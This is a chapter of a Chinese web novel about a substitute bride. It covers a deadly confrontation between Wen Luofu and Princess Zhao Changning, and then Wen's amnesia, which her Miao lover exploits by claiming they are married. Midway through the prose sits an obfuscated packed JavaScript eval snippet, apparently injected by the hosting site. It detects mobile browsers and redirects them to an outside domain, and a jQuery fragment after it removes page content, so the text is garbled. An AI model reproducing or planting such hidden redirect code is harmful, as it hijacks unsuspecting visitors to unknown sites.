38.第 38 章
作品:《替嫁苗疆少年后》 烛火摇曳,赵长宁仿佛只是在静候一位迟来的访客。
“你比我预想的要快一些。”她放下手中的笔,扫过温萝芙周身,“我还以为,你会带着那位苗疆蛊王一同前来。”
活捉南诏王嗣的价值显然更大,她早已在她们的住处布下天罗地网。
温萝芙立于密道出口的阴影中,她没有贸然靠近。
此刻,赵长宁心中虽掠过一丝慌乱,面上却竭力维持着镇定。
作为一个被藏匿的公主,其处境微妙。皇帝默许替嫁,却也意味着她此生再难见天日,所能得到的皇室庇护极其有限。
听闻温萝芙孤身杀来,赵长宁只觉荒谬。她笃定那女子能从南诏死里逃生,不过是靠庄九黎护佑。于是毫不犹豫,将仅有的私兵暗卫尽数派出,只为围捕庄九黎。
她从未想过,温萝芙早已在腥风血雨中练就了一身狠厉本事。
温萝芙当然不会愚蠢到去硬撼整座别苑的守卫。她释放了精心调配的迷烟。好在这个世界不是玄幻世界,人还是肉体凡胎。纵有力量悬殊,智计亦可弥补。
“你在等我。”温萝芙道,“等我自投罗网,还是等我来取你性命?”
赵长宁轻笑一声:“都有吧。从你踏上和亲之路那一刻起,你我之间的恩怨便必须了结。”
“是吗?”温萝芙平静的看向她,“可在我被你的刺客追杀之前——我从未想过要揭露这个秘密。”
“你为何一定要对我赶尽杀绝呢?”
她知道这是一个毫无意义的问题。
明知答案,却仍要问出,只为下定决心。
赵长宁脸上的笑意淡去,取而代之的是一种居高临下的漠然:“为什么?”
她道:“因为你的存在本身就是威胁。一个知道替嫁真相,有能力在异国生存,甚至建立了自己势力的人……温萝芙,你太不安分,太不可控了。”
她缓缓起身,踱步至书案旁,状似无意地拂过案头一方镇纸。
“至于素月……”赵长宁的语气带着一丝她自己都没察觉到的轻蔑,“我本无意取她性命。怪只怪她太过忠心,也太过愚蠢,竟妄想追查你的下落。”
她审视着温萝芙,“倒是你,既然侥幸逃脱,为何不就此隐姓埋名,远遁天涯?偏要回到这京城,还给自己的工坊取名为素月坊——为一个丫鬟做到如此地步,值得吗?”
这番话,非但未能激怒温萝芙,反而让她心中怒火沉淀下来,凝成一片刺骨的寒冰。
她想,对于他们来说,她这样的人,就像玩游戏时遇到的平民NPC吧。
只取决于是否挡路,生命不过是随手可以抹去的尘埃。
温萝芙:“那你呢,蛰伏于此,所求的又是什么?”
赵长宁垂眸轻笑:“我要的,不过是掌控权柄。”
她曾想坐上那九五之位。
谋败后,凭着一副骄纵模样逃过死劫,成了和亲的棋子。
如今蛰伏于此,借着痴心兄长的庇护,从而继续获取她未能得到的权力。
“我听门外的十六说,你心怀的是天下。”温萝芙握紧了手中的短刀,刀尖森寒。
杀意在两人之间弥漫开来。
温萝芙知道,这间书房看似雅致,却处处透着机关。
赵长宁绝不会毫无准备地独自面对她。
但她来这里,本就没打算活着回去。
赵长宁放在镇纸上的手指微微用力,似乎在启动某个机括。她的眼神也变得凝重起来,不再是之前的从容。她忽然开口:
“温萝芙,我们一定要走到这一步吗?不死不休?”
温萝芙不置可否。
赵长宁:“外人皆道我骄纵跋扈,可唯有如此,才能让他们放下戒心。”
“我自幼便知,论才智,论韬略,我不输这大周皇室的任何一位皇子龙孙。可那又如何?”
她怀着不甘与愤懑道:“只因我是女子!便注定与那至高之位无缘!即便本朝偶有女子入朝为官的先例,哪一个不是遮遮掩掩,女扮男装,战战兢兢如履薄冰?”
即便明知对方在拖延时间或动摇自己,温萝芙仍停滞了一瞬。
即使她与她在立场上对立,她却能理解她的不甘心。
即使隔着历史长河遥遥相望,她亦能对她所说的话感同身受。
“我知道,你恨我杀了素月,怨我要对你赶尽杀绝,但我仍可补偿你,巨额的财富,尊贵的身份…”
“你很有能力,温萝芙。你比那些庸碌的世家子弟强很多,我们为何不能合作?效法那太平公主与上官婉儿,成就一段千古佳话?你想要的复仇,我可以帮你完成的更彻底,让那些真正害你我至此的人付出代价——”
她意有所指。
事情推演至此,罪魁祸首是谁,温萝芙心如明镜。
“是默许这一切发生的皇室。”
文官为何谏止和亲?武将为何默然?
当真是当今天子以仁治国,念兵戈之苦吗?
皇帝昏庸无能,边疆凋敝,战火不断。
然国之将衰非一日能成。
圣意终决,遂择良辰,遣公主长宁往和亲,期以姻亲之谊,固两国之好,保边陲晏然。
然后得一朝一夕之安寝。
大周朝已绵延四百年。
对于一个建立在农耕根基之上的庞大帝国,这已是辉煌。
它曾有过万国来朝的盛世气象,如今却沉疴难起,积重难返。富者阡陌纵横,贫者无立锥之地。
农人终年面朝黄土背朝天,汗水浸透每一寸土地,却要将大半收成上缴官府地主,所得不过勉强果腹,他们的子孙将要重复这无尽的轮回,或如同周玉书这般,举齐家之力才能托举一人。
如同一个不断充气的气球,只需一点星火,便会轰然炸裂。
这就是大周目前的现状。
赵长宁紧紧盯着温萝芙的眼睛,语气诚恳:“放下吧,温萝芙。我保证,过去的事情一笔勾销。你助我,而我,将予你前所未有的权势富贵。”
合作?权势富贵?
“我不需要你给的选择。”
温萝芙缓缓摇头,唇角勾起一抹极淡的弧度。
“能给我选择的,只有我自己。”
她注意到赵长宁的手一直放在桌案上的那方镇纸上,那动作绝非无意。
温萝芙心中暗叹,赵长宁确实厉害。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894845|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她已看清局势,暂时依附太子,暗中培植势力。
此刻抛出诱饵的从容,甚至刚才的欣赏,无论真心假意。
她们或许是一样的人。
可这一切,都在她拔刀之后才说出口,终究是缓兵之计。
已经没有更好的解法。
血债,唯有用血来偿。
就在温萝芙似乎心神微滞的瞬间,赵长宁眼中闪过一丝得逞的锐光,手指悄然按下机关按钮——
然而,温萝芙早已察觉。
四周烟雾腾起,遮蔽了视线,她的身形也随之隐入其中。
……
春雪将融,夏至未至。
温萝芙再次睁眼,头痛欲裂。
她发现自己正躺在一间干净整洁的屋子里,床榻柔软,帷帐轻垂,身旁坐着一个少年。
温萝芙转头,对上一双深蓝色的眼睛。少年斜倚在床边,乌发松松挽着,耳坠是繁复的银饰,肩头上,一黑一白两条小蛇正懒洋洋地盘着。他眼尾似乎天生泛红,衬得那张过分白皙的脸,有种妖异的、不属于中原人的漂亮。
“你是……”温萝芙按住抽痛的头,“这是哪里?”
她记得自己原本是个变装博主,一朝穿越到这具与自己长得一模一样的身体里。
这具身体的家人欠下巨债,家破人亡,只剩她与侍女素月相依为命。
最后的记忆,是讨债人敲门,她犹豫着是否要开门。
她开门了吗?为何会在这里?
之后发生了什么,她一点也想不起来了,只觉得头晕得厉害,难道真的被讨债人打晕了?
庄九黎脸上的笑意僵了一瞬,眼底飞快掠过一丝晦暗。他重新漾开温柔的笑:“夫人睡糊涂了?”
庄九黎是在一片废墟中找到温萝芙的。那座皇家宅邸已被夷为平地,他杀退了不少碍事的守卫,才在一处被梁柱架起的空隙中发现了她。她满头是血,昏迷不醒。他用尽南诏秘术,才将她从阎王手中抢回来。
夫人?
温萝芙更觉茫然。
庄九黎看着她懵懂的眼神,心中又酸又胀。
她不够爱他,于是他恨她宁可赴死也不愿为他活下去,竟吝啬到不肯分予他一丝同等的深情。
可她忘了。
忘了他下的情蛊。
忘了那些在月色下交缠的夜晚。
更忘了她曾亲口说过的喜欢。
那些他视若珍宝的记忆,那些痛彻心扉的执念,竟被她如此轻易地抛诸脑后。
他本该愤怒,本该发疯,可心底却涌起一股扭曲的欢愉——
她不再记得他下过的情蛊,不再记得他那些阴狠的手段,
她现在看他的眼神,干净得像初见。
她曾说过,如果没有替嫁,他们的相遇会不一样。
现在,这不是最好的机会吗?
这一次,他会让她眼里只有他。
那些碍事的过往,忘了也好。
他推断出,温萝芙的记忆停留在了替嫁之前,于是他柔声解释道:“两年前,你被讨债人打伤后,是我救了你。后来……我们成了亲。”
他轻轻握住她冰凉的手:“我是你的夫君。”